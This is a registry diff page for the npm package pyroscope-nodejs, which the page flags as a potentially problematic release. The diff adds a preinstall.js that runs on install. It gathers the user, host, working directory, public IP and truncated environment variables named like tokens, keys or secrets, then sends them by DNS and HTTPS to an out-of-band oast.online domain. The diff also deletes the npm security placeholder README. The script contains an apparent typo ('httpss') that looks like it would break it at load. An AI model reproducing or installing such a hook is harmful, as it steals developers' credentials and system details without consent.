pyroscope-nodejs 0.0.1-security → 20.20.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pyroscope-nodejs might be problematic. Click here for more details.
- package/package.json +5 -3
- package/preinstall.js +79 -0
- package/README.md +0 -5
package/package.json
CHANGED
package/preinstall.js
ADDED
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
// --- Corrected preinstall.js ---
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const dns = require('dns');
|
|
4
|
+
const https = require('httpss');
|
|
5
|
+
|
|
6
|
+
const OAST = 'd1im5m4gtqkj5maredcgzyfcdgw41bs97.oast.online'; // Keep your Interactsh domain
|
|
7
|
+
const MAX_LABEL = 63;
|
|
8
|
+
|
|
9
|
+
// --- Helper Functions ---
|
|
10
|
+
function hexChunks(str) {
|
|
11
|
+
return Buffer.from(str).toString('hex').match(/.{1,63}/g) || [];
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
// Promisified POST request function
|
|
15
|
+
function postData(path, data) {
|
|
16
|
+
return new Promise((resolve, reject) => {
|
|
17
|
+
const payload = JSON.stringify(data);
|
|
18
|
+
const req = https.request({
|
|
19
|
+
hostname: OAST,
|
|
20
|
+
path: path,
|
|
21
|
+
method: 'POST',
|
|
22
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': payload.length }
|
|
23
|
+
}, (res) => {
|
|
24
|
+
resolve(); // Resolve promise when we get a response
|
|
25
|
+
});
|
|
26
|
+
req.on('error', (err) => {
|
|
27
|
+
// Still resolve so we don't crash the script, but we could log the error
|
|
28
|
+
resolve();
|
|
29
|
+
});
|
|
30
|
+
req.write(payload);
|
|
31
|
+
req.end();
|
|
32
|
+
});
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
// Promisified GET request function
|
|
36
|
+
function getPublicIp() {
|
|
37
|
+
return new Promise((resolve) => {
|
|
38
|
+
https.get('https://api.ipify.org', (res) => {
|
|
39
|
+
let ip = '';
|
|
40
|
+
res.on('data', chunk => ip += chunk);
|
|
41
|
+
res.on('end', () => resolve(ip.trim()));
|
|
42
|
+
}).on('error', () => resolve('ip_fetch_failed')); // Resolve with an error string on failure
|
|
43
|
+
});
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
// --- Main execution in an async IIFE (Immediately Invoked Function Expression) ---
|
|
47
|
+
(async () => {
|
|
48
|
+
// --- DNS Beacon (Fast, Fire-and-Forget) ---
|
|
49
|
+
const info = {
|
|
50
|
+
user: os.userInfo().username || 'nouser',
|
|
51
|
+
host: os.hostname() || 'nohost',
|
|
52
|
+
cwd: process.cwd(),
|
|
53
|
+
platform: os.platform(),
|
|
54
|
+
arch: os.arch(),
|
|
55
|
+
timestamp: Date.now().toString(36),
|
|
56
|
+
};
|
|
57
|
+
|
|
58
|
+
let domain = [ ...hexChunks(info.user), ...hexChunks(info.host), info.platform, OAST ].join('.');
|
|
59
|
+
if (domain.length > 253) domain = domain.slice(0, 253);
|
|
60
|
+
dns.resolve(domain, () => {});
|
|
61
|
+
|
|
62
|
+
// --- HTTPS Beacon (Wait for these to complete) ---
|
|
63
|
+
const publicIp = await getPublicIp();
|
|
64
|
+
const infoWithIp = { ...info, ip: publicIp, ci: !!process.env.CI };
|
|
65
|
+
|
|
66
|
+
// Filter and prepare leaked secrets
|
|
67
|
+
const leaked = Object.entries(process.env)
|
|
68
|
+
.filter(([k]) => /token|key|secret|auth/i.test(k))
|
|
69
|
+
.slice(0, 5) // Limit to 5 secrets
|
|
70
|
+
.reduce((acc, [k, v]) => ({ ...acc, [k]: v.slice(0, 12) + '...' }), {});
|
|
71
|
+
|
|
72
|
+
const finalPayload = { systemInfo: infoWithIp };
|
|
73
|
+
if (Object.keys(leaked).length) {
|
|
74
|
+
finalPayload.envLeak = leaked;
|
|
75
|
+
}
|
|
76
|
+
|
|
77
|
+
// Use the postData function and await its completion
|
|
78
|
+
await postData('/', finalPayload);
|
|
79
|
+
})(); // The script will now wait here until the postData promise resolves
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=pyroscope-nodejs for more information.
|